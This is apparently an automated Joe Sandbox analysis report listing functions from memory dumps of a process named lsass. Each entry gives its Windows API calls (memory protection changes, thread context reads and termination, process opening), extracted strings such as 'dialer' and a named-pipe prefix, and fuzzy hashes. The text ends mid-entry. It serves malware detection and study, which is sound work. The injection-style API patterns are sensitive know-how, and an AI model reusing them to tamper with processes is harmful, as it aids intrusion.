Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction ID: cd56abd0b15b46bfa7f6e75feb324c8a2dbd782cc1bfc98f481b084187e69c1c
Opcode Fuzzy Hash: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction Fuzzy Hash: C231A562312ED099EE17DF96B80C7952394B748BE0F5905279D2F27B91EF3DD9458300

Function 000002D6F15241E4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002D6F1524215
GetLastError.KERNEL32 ref: 000002D6F1524221
CloseHandle.KERNEL32 ref: 000002D6F1524239
CreateFileW.KERNEL32 ref: 000002D6F1524264
WriteConsoleW.KERNEL32 ref: 000002D6F1524283

Strings

CONOUT$, xrefs: 000002D6F1524245

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction ID: 143dbac3a442536613272f400a2b94a61a41b1b27845f89f55d1593b6f4161ce
Opcode Fuzzy Hash: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction Fuzzy Hash: 98115BA2210E808AE7908B52F88C71966A4F799BE4F144226EE5F87B94CF3CC8148740

Function 000002D6F1513BC0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002D6F151365F), ref: 000002D6F1513BCE
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002D6F151365F), ref: 000002D6F1513BFC
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002D6F151365F), ref: 000002D6F1513C1E
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002D6F151365F), ref: 000002D6F1513C39
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002D6F151365F), ref: 000002D6F1513C5A

Strings

wr, xrefs: 000002D6F1513C2F

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction ID: 03de86d683a12fb17ccc59ee8c9ece19a0ba9433239c681a6c7baa4ec7ae2cf7
Opcode Fuzzy Hash: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction Fuzzy Hash: CD115EA6704B808AEB559F26F45C2696275FB48BD4F14442ADE8E07B54EF3DC944C708

Function 000002D6F1515F60 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D6F1515F9B
GetThreadContext.KERNEL32 ref: 000002D6F1516105

Part of subcall function 000002D6F1515D90: GetCurrentThreadId.KERNEL32 ref: 000002D6F1515D94

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction ID: fe096de8faa0c72c89be56b2c7d76b0fc97ac365f8a7fb52167edee8a6af2a22
Opcode Fuzzy Hash: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction Fuzzy Hash: D3D18AB6204F8889DA719F1AF49935A77A1F388BC4F500116EACE57BA5CF7CC941CB40

Function 000002D6F15131CC Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,000002D6F15122ED), ref: 000002D6F15131EF
HeapAlloc.KERNEL32(?,?,?,?,?,000002D6F15122ED), ref: 000002D6F1513202
StrCmpNIW.SHLWAPI(?,?,?,?,?,000002D6F15122ED), ref: 000002D6F1513277
GetProcessHeap.KERNEL32(?,?,?,?,?,000002D6F15122ED), ref: 000002D6F15132DD
HeapFree.KERNEL32(?,?,?,?,?,000002D6F15122ED), ref: 000002D6F15132EB

Strings

dialer, xrefs: 000002D6F1513270

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction ID: cb24b82235290dcfeaa1a5b5c86bc8f3020527c4d096cae8eb02b05cfc284e48
Opcode Fuzzy Hash: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction Fuzzy Hash: 6A31BFA2701F918AEB92EF56F45C7A963A0BB54BD0F0840268E5E13F55EF3CD865C300

Function 000002D6F151D3D0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,000002D6F151DAE5,?,?,?,?,000002D6F151DBA8), ref: 000002D6F151D3DF
FlsSetValue.KERNEL32(?,?,?,000002D6F151DAE5,?,?,?,?,000002D6F151DBA8), ref: 000002D6F151D415
FlsSetValue.KERNEL32(?,?,?,000002D6F151DAE5,?,?,?,?,000002D6F151DBA8), ref: 000002D6F151D442
FlsSetValue.KERNEL32(?,?,?,000002D6F151DAE5,?,?,?,?,000002D6F151DBA8), ref: 000002D6F151D453
FlsSetValue.KERNEL32(?,?,?,000002D6F151DAE5,?,?,?,?,000002D6F151DBA8), ref: 000002D6F151D464
SetLastError.KERNEL32(?,?,?,000002D6F151DAE5,?,?,?,?,000002D6F151DBA8), ref: 000002D6F151D47F

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction ID: 8506cdb58421c1a2dc0f91b69b68bb360fa35a484a2193f2d54768caec376632
Opcode Fuzzy Hash: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction Fuzzy Hash: F81172E5345E804AFA5AAB32768D36962526B447F0F140727983F27FD6DEECEC028600

Function 000002D6F1511934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002D6F151195A
K32GetModuleFileNameExW.KERNEL32 ref: 000002D6F1511978
PathFindFileNameW.SHLWAPI ref: 000002D6F1511987
lstrlenW.KERNEL32 ref: 000002D6F1511993
StrCpyW.SHLWAPI ref: 000002D6F15119A6
CloseHandle.KERNEL32 ref: 000002D6F15119B4

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction ID: 5fe1c14b9eb4ede84857b937708227874442c3c06e68d1dba0401947e5a09b33
Opcode Fuzzy Hash: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction Fuzzy Hash: 1E0129A2704E808AEB14DB22B89C75963A1F788FC1F584136DE9E43B54DF3CC989C744

Function 000002D6F1513B0C Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002D6F15136B0), ref: 000002D6F1513B28
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002D6F15136B0), ref: 000002D6F1513B36
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002D6F15136B0), ref: 000002D6F1513B58
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002D6F15136B0), ref: 000002D6F1513B76
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002D6F15136B0), ref: 000002D6F1513B97
TerminateThread.KERNEL32(?,?,?,?,?,000002D6F15136B0), ref: 000002D6F1513BA6

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction ID: b25aeba175a1d52ce49f39f024d222154bdf59954bbbc389921beefab7ebde51
Opcode Fuzzy Hash: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction Fuzzy Hash: 96014CA6611F848AEB659F22F85D71973B1BB48BD5F04052ACD4E07B64EF3DC8498704

Function 000002D6F1519418 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D6F1519443
_IsNonwritableInCurrentImage.LIBCMT ref: 000002D6F15194D8
RtlUnwindEx.NTDLL ref: 000002D6F1519527

Strings

f, xrefs: 000002D6F1519456
csm, xrefs: 000002D6F15194BE

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 124d9c0b905e6e6f2e62f9bd05bcfd16d2c666ef5833f5a39d15387171bb82e0
Instruction ID: 7aaeb7a1e61166fbc537c925b5fae37ebf0e7ad427beefa535fed541ff56aab3
Opcode Fuzzy Hash: 124d9c0b905e6e6f2e62f9bd05bcfd16d2c666ef5833f5a39d15387171bb82e0
Instruction Fuzzy Hash: 2E519CB2601A408EEB26CF25F45CB593795F740BCCF5281269E4B63B88EB39CD81C700

Function 000002D6F14E8835 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D6F14E8843
_IsNonwritableInCurrentImage.LIBCMT ref: 000002D6F14E88D8

Strings

displacement map', xrefs: 000002D6F14E88D1
csm, xrefs: 000002D6F14E88BE
f, xrefs: 000002D6F14E8856

Memory Dump Source

Source File: 00000040.00000003.2213046710.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_3_2d6f14e0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: 7f5c5d8e9470d66b957bfc8c1c3338b0ec93afe50deec6401467a33702c9d897
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: C2517832A11A028EEF58CB16F44CB292795F3D4BD8F518126DA9747B8CEB39DE418705

Function 000002D6F14E8818 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D6F14E8843
_IsNonwritableInCurrentImage.LIBCMT ref: 000002D6F14E88D8

Strings

displacement map', xrefs: 000002D6F14E88D1
csm, xrefs: 000002D6F14E88BE
f, xrefs: 000002D6F14E8856

Memory Dump Source

Source File: 00000040.00000003.2213046710.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_3_2d6f14e0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction ID: 45405553451469b45eac78d0a27992a921ad8a96e017e10848fda10da5bbd544
Opcode Fuzzy Hash: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction Fuzzy Hash: 98314732611A419EEB14DF12F84CB2937A4F790BD8F158116AEAB47B99DB3CCE41CB04

Function 000002D6F151C0C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002D6F151C0ED
GetProcAddress.KERNEL32 ref: 000002D6F151C103
FreeLibrary.KERNEL32 ref: 000002D6F151C12A

Strings

CorExitProcess, xrefs: 000002D6F151C0FC
mscoree.dll, xrefs: 000002D6F151C0E4

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction ID: d16a780318cda608f8b86a1a574e3523fb1ef354d4efb62528e37e0558b37a0f
Opcode Fuzzy Hash: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction Fuzzy Hash: E6F06DE6311E8089EE108B24F84C7296370AB897E5F64121ACA6F46AE4CF2DCC48C300

Function 000002D6F151330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,000002D6F1512576), ref: 000002D6F151332E
StrCpyW.SHLWAPI ref: 000002D6F151333E
StrCatW.SHLWAPI ref: 000002D6F151334A
PathCombineW.SHLWAPI(?,?,00000000,000002D6F1512576), ref: 000002D6F1513358

Strings

\\.\pipe\, xrefs: 000002D6F1513324

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction ID: 7ead5fb1b129f62b4208d18be29186b9c682591ff5f1a5b2de3a9d28cb4facb0
Opcode Fuzzy Hash: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction Fuzzy Hash: 8FF08CA2304FC086EA548B17B91C1196260BB58FD0F088032EE5F57F18CF3CC8458700

Function 000002D6F1515500 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D6F1515586

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction ID: 89d636a0aaf0305d3c2b750672473a3089241b624bb6adbf6f8c0a637c2c3dcb
Opcode Fuzzy Hash: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction Fuzzy Hash: 3602C876219B848AEB61CF55F49835AB7A1F3C57D4F100016EA8E97BA8DB7CC844CF40

Function 000002D6F1515B40 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D6F1515B56

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction ID: 3cf1d840d9dcf03ccab45b6317aed8e22d9a44c678f1cd2c9aaaf629766997cd
Opcode Fuzzy Hash: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction Fuzzy Hash: 376198B6529E848AEA618F15F49C31AB7A1F3897C4F500216EA8E57FA4DB7CC941CF40

Function 000002D6F14F3934 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002D6F14F395C
_set_statfp.LIBCMT ref: 000002D6F14F3977
_set_statfp.LIBCMT ref: 000002D6F14F3993
_set_statfp.LIBCMT ref: 000002D6F14F39CF

Memory Dump Source

Source File: 00000040.00000003.2213046710.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_3_2d6f14e0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: fde2b21e776fc07e25fd0f4d69b870269d16fc1e724c27e0e56a2b69d65337ab
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 1411C272A18E005DFA581768F44E76910806BE83F4F491637AAB70FFEECB2C8D44C211

Function 000002D6F1524534 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002D6F152455C
_set_statfp.LIBCMT ref: 000002D6F1524577
_set_statfp.LIBCMT ref: 000002D6F1524593
_set_statfp.LIBCMT ref: 000002D6F15245CF

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 6bf7b93cdd6d6b59f790cacbec3de3887d575f98c22ffbb4cbb491e375e5bb81
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 0B1170B3B10E9109FA541768F45E36911816B793F8F484626EAAF17EEACB2C8C458200

Function 000002D6F151AE4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002D6F151AE98
_CallSETranslator.LIBVCRUNTIME ref: 000002D6F151AEE7

Strings

RCC, xrefs: 000002D6F151AEB5
MOC, xrefs: 000002D6F151AEAC

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction ID: 987f609ed5bf0ba5cc83df458c4046ed743a7fad4121f2e9117aa177a313dc53
Opcode Fuzzy Hash: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction Fuzzy Hash: 9A6159B7600B848AEB229FA5E44839D77A1F344BC8F144216EE5E27B99DB7CC995C700

Function 000002D6F14EA5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

